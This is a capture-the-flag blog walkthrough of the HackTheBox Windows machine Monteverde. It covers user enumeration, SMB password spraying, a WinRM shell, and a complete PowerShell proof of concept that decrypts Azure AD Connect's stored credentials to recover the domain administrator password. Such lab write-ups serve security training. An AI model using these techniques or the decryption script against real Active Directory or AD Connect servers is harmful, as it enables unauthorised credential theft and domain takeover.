HackTheBox - Monteverde

— Written by — 10 min read
monteverde-hackthebox

Monteverde just retired on Hackthebox, it’s a medium difficulty Windows box. It’s was a very interesting webless box. Still being a bit new to the Windows environment the foothold was not that easy to find for me but once you do enough recon it get pretty straightforward real life scenarios to arrive to root. I would recommend it if you are confortable on easy box and want to level up to a medium one.

Tl;Dr: To get the user flag you had to enumerate users using RPC service, using password spraying you find that user use its own username as password allowing to connect to its SMB folder. In this folder we found an Azure configuration file containing credentials for user mhope. Then using WinRM protocol we can connect to mhope account and grab the flag.
To get the root flag you had to exploit an “Azure Active Directory Connect Database” privilege escalation exploit in order to retrieve administrator credentials and get the flag.

Alright! Let’s get into the details now!


First thing first, let’s add the box IP to the hosts file:

1
[[email protected] ~]$ echo "10.10.10.172 monteverde.htb" >> /etc/hosts

and let’s start!

User Flag

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[[email protected] ~]$ $ nmap -Pn -n -A -T5 -p1-65535 10.10.10.172
Nmap scan report for 10.10.10.172
PORT STATE SERVICE VERSION
53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-05-26 19:25:41Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing

Nmap done: 1 IP address (1 host up) scanned in 374.92 seconds

As often on Windows machines we do have a lot of ports open. It’s one of the first box I see without any web server running nor SSH open. It’s going to be fun :)

Enum4Linux

From the nmap result and being one of my first Windows based box I was really unsure where to start off so I decided to give a try to enum4linux.

Enum4linux is a tool for enumerating information from Windows and Samba systems.

It is written in Perl and is basically a wrapper around the Samba tools smbclient, rpclient, net and nmblookup.

https://labs.portcullis.co.uk/tools/enum4linux/

Hopefully this can give us better idea of what is running on the box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
[[email protected] ~]$ enum4linux 10.10.10.172 2>/dev/null
Starting enum4linux v0.8.9

==========================
| Target Information |
==========================
Target ........... 10.10.10.172
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

===========================================
| Getting domain SID for 10.10.10.172 |
===========================================
Domain Name: MEGABANK
Domain Sid: S-1-5-21-391775091-850290835-3566037492
[+] Host is part of a domain (not a workgroup)

=============================
| Users on 10.10.10.172 |
=============================

user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]

=========================================
| Share Enumeration on 10.10.10.172 |
=========================================

[+] Trying protocol 445/SMB...

[+] Found domain(s):

[+] MEGABANK
[+] Builtin


[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 7


==============================
| Groups on 10.10.10.172 |
==============================

[+] Getting domain group memberships:
Group 'Domain Users' (RID: 513) has member: MEGABANK\Administrator
Group 'Domain Users' (RID: 513) has member: MEGABANK\krbtgt
Group 'Domain Users' (RID: 513) has member: MEGABANK\AAD_987d7f2f57d2
Group 'Domain Users' (RID: 513) has member: MEGABANK\mhope
Group 'Domain Users' (RID: 513) has member: MEGABANK\SABatchJobs
Group 'Domain Users' (RID: 513) has member: MEGABANK\svc-ata
Group 'Domain Users' (RID: 513) has member: MEGABANK\svc-bexec
Group 'Domain Users' (RID: 513) has member: MEGABANK\svc-netapp
Group 'Domain Users' (RID: 513) has member: MEGABANK\dgalanos
Group 'Domain Users' (RID: 513) has member: MEGABANK\roleary
Group 'Domain Users' (RID: 513) has member: MEGABANK\smorgan
Group 'Azure Admins' (RID: 2601) has member: MEGABANK\Administrator
Group 'Azure Admins' (RID: 2601) has member: MEGABANK\AAD_987d7f2f57d2
Group 'Azure Admins' (RID: 2601) has member: MEGABANK\mhope
Group 'HelpDesk' (RID: 2611) has member: MEGABANK\roleary
Group 'Domain Guests' (RID: 514) has member: MEGABANK\Guest
Group 'Trading' (RID: 2610) has member: MEGABANK\dgalanos
Group 'Operations' (RID: 2609) has member: MEGABANK\smorgan
Group 'Group Policy Creator Owners' (RID: 520) has member: MEGABANK\Administrator

enum4linux complete

The full result of Enum4Linux is very complete so I removed the informations we don’t need.

One thing that catch the eye is that Password Complexity is set to disabled. Since we have a list of user we can maybe find one account using a weak password by brute-force.

Brute-force user accounts

Since the SMB port 445 is open we can use it to try bruteforcing account passwords. To do so I will use crackmapexec.

After having no luck with the classical rockyou.txt password list I decided to take a different approach. One common weak password strategy is the reuse of username as password, either when setting up a default account or out of user laziness. Maybe one of the users did so ?

1
2
3
4
5
6
[[email protected] ~]$ crackmapexec smb 10.10.10.172 -u users.txt -p users.txt
SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10.0 Build 17763 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:Guest STATUS_LOGON_FAILURE
[...]
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs

Bingo! We got SABatchJobs SMB credentials.

SABatchJobs Shared Folder

Now that we have SABatchJobs credentials let’s see if we can find anything in its SMB shared folder:

1
2
3
4
5
6
7
8
9
10
11
12
[[email protected] ~]$ smbclient -U 'SABatchJobs' //10.10.10.172/users$
Enter MYGROUP\SABatchJobs's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Jan 3 14:12:48 2020
.. D 0 Fri Jan 3 14:12:48 2020
dgalanos D 0 Fri Jan 3 14:12:30 2020
mhope D 0 Fri Jan 3 14:41:18 2020
roleary D 0 Fri Jan 3 14:10:30 2020
smorgan D 0 Fri Jan 3 14:10:24 2020

524031 blocks of size 4096. 519955 blocks available

We have a few users folder. mhope one contains what’s look like an interesting configuration file named azure.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
smb: \> cd mhope\
smb: \mhope\> ls
. D 0 Fri Jan 3 14:41:18 2020
.. D 0 Fri Jan 3 14:41:18 2020
azure.xml AR 1212 Fri Jan 3 14:40:23 2020

524031 blocks of size 4096. 519955 blocks available
smb: \mhope\> get azure.xml
getting file \mhope\azure.xml of size 1212 as azure.xml (9.0 KiloBytes/sec) (average 9.0 KiloBytes/sec)
smb: \mhope\> exit

[[email protected] ~]$ cat azure.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
<T>System.Object</T>
</TN>
<ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
<Props>
<DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
<DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
<G N="KeyId">00000000-0000-0000-0000-000000000000</G>
<S N="Password">[email protected]$</S>
</Props>
</Obj>
</Objs>%

We got lucky there is a password in it. Is that mhope account password ?

SSH is not open but WinRM port 5985 is, so we should be able to get a shell from there. As a reminder:

WinRM (Windows Remote Management) is the Microsoft implementation of WS-Management Protocol. A standard SOAP based protocol that allows hardware and operating systems from different vendors to interoperate. Microsoft included it in their Operating Systems in order to make life easier to system administrators.

https://docs.microsoft.com/en-us/windows/win32/winrm/portal

Evil-WinRM shell as mhope

To get a WinRM shell I am going to use Evil-WinRM tools which provide numerous super useful features:

1
2
3
4
5
6
7
8
[[email protected] ~]$ evil-winrm -i 10.10.10.172 -u mhope -p "[email protected]$"

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\mhope\Documents> type ../Desktop/user.txt
4xxxxxxxxxxxxxxx2

Root FLag

Recon

Let’s try to get more information about our current user mhope:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
*Evil-WinRM* PS C:\Users\mhope\Documents> whoami /all

[USER INFORMATION
----------------

User Name SID
============== ============================================
megabank\mhope S-1-5-21-391775091-850290835-3566037492-1601]

GROUP INFORMATION
-----------------

Group Name Type SID
=========================================== ================ ============================================
[...]
MEGABANK\Azure Admins Group S-1-5-21-391775091-850290835-3566037492-2601

[...]

One of the most noteworthy information is that mhope belongs to Azure Admins group. Which makes sense after finding the azure.xml config file earlier.

Let’s dig a bit more to see if we can find more informations related to Azure.

While looking around at running services we stumble upon a service named Azure AD Connect Health Sync:

1
2
3
4
5
6
*Evil-WinRM* PS C:\Users\mhope\Documents> services

Path Privileges Service
---- ---------- -------
[...]
"C:\Program Files\Microsoft Azure AD Connect Health Sync Agent\Insights\Microsoft.Identity.AadConnect.Health.AadSync.Host.exe" False AzureADConnectHealthSyncInsights

The Microsoft documentation explains what this service is used for:

Azure AD Connect is the Microsoft tool designed to meet and accomplish your hybrid identity goals. It provides the following features:

  • Password hash synchronization - A sign-in method that synchronizes a hash of a users on-premises AD password with Azure AD.
  • Pass-through authentication - A sign-in method that allows users to use the same password on-premises and in the cloud, but doesn’t require the additional infrastructure of a federated environment.
  • Federation integration - Federation is an optional part of Azure AD Connect and can be used to configure a hybrid environment using an on-premises AD FS infrastructure. It also provides AD FS management capabilities such as certificate renewal and additional AD FS server deployments.
  • Synchronization - Responsible for creating users, groups, and other objects. As well as, making sure identity information for your on-premises users and groups is matching the cloud. This synchronization also includes password hashes.
  • Health Monitoring - Azure AD Connect Health can provide robust monitoring and provide a central location in the Azure portal to view this activity.

The Password hash synchronization and Pass-through authentication might be interesting to escalate our privileges. It may me worth digging a bit this service.

While searching for more informations we stumbled upon a quite interesting article : “Azure AD Connect Database Privilege Escalation Exploit“:

Its possible to just run some simple .NET or Powershell code on the server where Azure AD Connect is installed and instantly get plain text credentials for whatever AD account it is set to use!

We can also find a few other articles explaining in details this vulnerability.

Basically when deploying a new ADSync connector, the credentials gets stored in a local SQL Database. Then, when credentials need to be retrieved, they get decrypted using mcrypt.dll library located in C:\Program Files\Microsoft Azure AD Sync\Bin\.

Indeed while looking at open connection on the box we can see port 1434 (Microsoft SQL Server) listening on localhost:

1
2
3
*Evil-WinRM* PS C:\> netstat -an | select-string -pattern "listening"
[...]
TCP 127.0.0.1:1434 0.0.0.0:0 LISTENING

Azure AD Sync privilege escalation

We should now have all the piece needed to decrypt the credentials stored in SQL Database.

Let’s use this Powershell Proof-of-Concept to do so:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
Function Azure-ADConnect {param($db,$server)
$help = @"
.SYNOPSIS
Azure-ADConnect
"@
if ($db -eq $null -or $server -eq $null) {$help} else {
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server = $server; Database = $db; Initial Catalog=$db;
Integrated Security = True;"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

add-type -path "C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll"
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}

"[+] Domain: " + $domain.Domain
"[+] Username: " + $username.Username
"[+]Password: " + $password.Password
}}

Let’s upload and run the script:

1
2
3
4
5
6
7
8
9
10
11
12
13
*Evil-WinRM* PS C:\Temp> upload Azure-ADConnect.ps1
Info: Uploading Azure-ADConnect.ps1 to C:\Temp\Azure-ADConnect.ps1


Data: 3016 bytes of 3016 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Temp> import-module ./Azure-ADConnect.ps1
*Evil-WinRM* PS C:\Temp> Azure-ADConnect -server 127.0.0.1 -db ADSync
[+] Domain: MEGABANK.LOCAL
[+] Username: administrator
[+]Password: [email protected]in4dminyeah!

Bingo! We got the clear text password of administrator account. Let’s connect to his account and grab the flag:

1
2
3
4
5
6
7
8
[hg8@archbook ~]$ evil-winrm -i 10.10.10.172 -u administrator -p "[email protected]\!"

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
1xxxxxxxxxxxxxxxxxxc

That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!

See you next time ;)

-hg8



CTFHackTheBoxMedium Box
, , , , , , , , , ,